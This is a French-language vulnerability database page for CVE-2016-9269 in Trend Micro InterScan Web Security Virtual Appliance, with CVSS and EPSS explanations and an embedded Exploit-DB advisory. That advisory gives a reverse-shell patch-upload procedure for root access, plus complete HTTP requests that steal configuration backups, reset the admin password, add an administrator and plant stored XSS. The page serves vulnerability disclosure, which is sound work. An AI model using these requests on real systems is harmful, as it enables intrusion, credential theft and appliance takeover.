CVE-2016-9269 : Détail

CVE-2016-9269

9.9
/
Critique
A01-Broken Access Control
0.26%V3
Network
2017-02-21
06h46 +00:00
2017-07-24
10h57 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Remote Command Execution in com.trend.iwss.gui.servlet.ManagePatches in Trend Micro Interscan Web Security Virtual Appliance (IWSVA) version 6.5-SP2_Build_Linux_1707 and earlier allows authenticated, remote users with least privileges to run arbitrary commands on the system as root via Patch Update functionality. This was resolved in Version 6.5 CP 1737.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-264 Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 9.9 CRITICAL CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Changed

An exploited vulnerability can affect resources beyond the authorization privileges intended by the vulnerable component. In this case the vulnerable component and the impacted component are different.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 9 AV:N/AC:L/Au:S/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 41361

Date de publication : 2016-11-27 23h00 +00:00
Auteur : SlidingWindow
EDB Vérifié : Yes

# Exploit Title: [Trend Micro Interscan Web Security Virtual Appliance (IWSVA) 6.5.x Multiple Vulnerabilities] # Date: [28/11/2016] # Exploit Author: [SlidingWindow] , Twitter: @Kapil_Khot # Vendor Homepage: [http://www.trendmicro.com/us/enterprise/network-security/interscan-web-security/virtual-appliance/] # Version: [Tested on IWSVA version 6.5-SP2_Build_Linux_1707 and prior versions in 6.5.x series. Older versions may also be affected] # Tested on: [IWSVA version 6.5-SP2_Build_Linux_1707] # CVE : [CVE-2016-9269, CVE-2016-9314, CVE-2016-9315, CVE-2016-9316] # Vendor Security Bulletin: https://success.trendmicro.com/solution/1116672 ================== #Product:- ================== Trend Micro ‘InterScan Web Security Virtual Appliance (IWSVA)’ is a secure web gateway that combines application control with zero-day exploit detection, advanced anti-malware and ransomware scanning, real-time web reputation, and flexible URL filtering to provide superior Internet threat protection. ================== #Vulnerabilities:- ================== Remote Command Execution, Sensitive Information Disclosure, Privilege Escalation and Stored Cross-Site-Scripting (XSS) ======================== #Vulnerability Details:- ======================== #1. Remote Command Execution Vulnerability (CVE-2016-9269):- The Trend Micro IWSVA can be managed through a web based management console which runs on port#1812. A least privileged user who could just run reports, can run commands on the server as root and gain a root shell. Proof of Concept:- a. Download the patch from here. b. Edit the 'startgate_patch_apply.sh' and add your Kali machine ip to get reverse shell. c. Calculate the MD5 hash of 'stargate_patch.tgz' md5sum stargate_patch.tgz d. Update the 'MD5SUM.txt' with new hash. e. Listen on port#443 on you Kali machine. f. Upload the patch to the target server: http://target_server:1812/servlet/com.trend.iwss.gui.servlet.ManagePatches?action=upload g. You should have a root shell now. #2. Sensitive Information Disclosure Vulnerability (CVE-2016-9314):- The web management console allows administrators to backup and download current configuration of the appliance to their local machine. A low privileged user can abuse the ‘ConfigBackup’ functionality to backup system configuration and download it on his local machine. This backup file contains sensitive information like passwd/shadow files, RSA certificates, Private Keys and Default Passphrase etc. Exploitation:- A. Send following POST request to the target: (Replace JSESSIONID and CSRFGuardToken with the ones from your current low privileged user's session) POST /servlet/com.trend.iwss.gui.servlet.ConfigBackup?action=export HTTP/1.1 Host: <Target_IP>:1812 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: JSESSIONID=<Low_Privileged_Users_Session_ID> Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded CSRFGuardToken=<Low_Privileged_Users_CSRF_TOKEN>&op=save&uploadfile=&beFullyOrPartially=0 B. Send this POST request to download the backup file from server: POST /servlet/com.trend.iwss.gui.servlet.ConfigBackup?action=download HTTP/1.1 Host: <Target_IP>:1812 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: JSESSIONID=<Low_Privileged_Users_Session_ID> Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded CSRFGuardToken=<Low_Privileged_Users_CSRF_TOKEN>&op=2&ImEx_success=1&pkg_name=%2Fvar%2Fiwss%2Fmigration%2Fexport%2FIWSVA6.5-SP2_Config.tar%0D%0A&backup_return= #3. Privilege Escalation Vulnerability (CVE-2016-9315):- A. Change Master Admin's password: i. Send following POST request to the target: (Replace JSESSIONID and CSRFGuardToken with the ones from your current low privileged user's session) POST /servlet/com.trend.iwss.gui.servlet.updateaccountadministration HTTP/1.1 Host: <Target_IP>:1812 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: JSESSIONID=<Low_Privileged_Users_Session_ID> Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded CSRFGuardToken=<Low_Privileged_Users_CSRF_TOKEN>&accountop=review&allaccount=admin&allaccount=hacker2&allaccount=hacker4&allaccount=hacker&allaccount=test&accountname=admin&commonname=admin&accounttype=0&password_changed=true&PASS1=abc123&PASS2=abc123&description=Master+Administrator&role_select=0&roleid=0 B. Add a new administrator account 'hacker' i. Send following POST request to the target: (Replace JSESSIONID and CSRFGuardToken with the ones from your current low privileged user's session) POST /servlet/com.trend.iwss.gui.servlet.updateaccountadministration HTTP/1.1 Host: <Target_IP>:1812 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: JSESSIONID=<Low_Privileged_Users_Session_ID> Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded CSRFGuardToken=<Low_Privileged_Users_CSRF_TOKEN>&accountop=add&allaccount=admin&accountType=local&accountnamelocal=hacker&accounttype=0&password_changed=true&PASS1=pass1234&PASS2=pass1234&description=hackerUser&role_select=1&roleid=1 #4. Stored Cross-Site-Scripting Vulnerability (CVE-2016-9316):- i. Send following POST request to the target: (Replace JSESSIONID and CSRFGuardToken with the ones from your current low privileged user's session) POST /servlet/com.trend.iwss.gui.servlet.updateaccountadministration HTTP/1.1 Host: <Target_IP>:1812 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: JSESSIONID=<Low_Privileged_Users_Session_ID> Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 292 CSRFGuardToken=<Low_Privileged_Users_CSRF_TOKEN>&accountop=add&allaccount=admin&accountType=local&accountnamelocal=hacker4"><script>alert(111)</script>&accounttype=0&password_changed=true&PASS1=pass1234&PASS2=pass1234&description=hackerUser4"><script>alert(111)</script>&role_select=1&roleid=1 ii. The script executes when admin visits the ‘Login Accounts’ page. #Vulnerability Disclosure Timeline: 28/10/2016: First email to disclose the vulnerability to the Trend Micro incident response team 10/11/2016: Second email to ask for acknowledgment 15/11/2016 Acknowledgment from the Trend Micro incident response team for the email reception and saying the vulnerability is under investigation 15/11/2016: CVE Mitre assigned CVE-2016-9269, CVE-2016-9314, CVE-2016-9315 and CVE-2016-9316 for these vulnerabilities. 24/11/2016: Trend Micro incident response team provided a patch for testing. 25/11/2016: Acknowlegdement sent to Trend Micro confirming the fix. 01/12/2016: Third email to ask for remediation status 02/12/2016: Trend Micro incident response team responded stating that the fix will be released by the end of December 2016. 21/12/2016: Fourth email to ask for remediation status 21/12/2016: Trend Micro released the patch for English version. 21/12/2016: Trend Micro incident response team responded stating that the patch for Japanese version will be released in February 2017. 14/02/2017: Trend Micro releases Security Advisory. Link: https://success.trendmicro.com/solution/1116672

Products Mentioned

Configuraton 0

Trendmicro>>Interscan_web_security_virtual_appliance >> Version To (including) 6.5

Références

http://www.securityfocus.com/bid/96252
Tags : vdb-entry, x_refsource_BID
http://www.securitytracker.com/id/1037849
Tags : vdb-entry, x_refsource_SECTRACK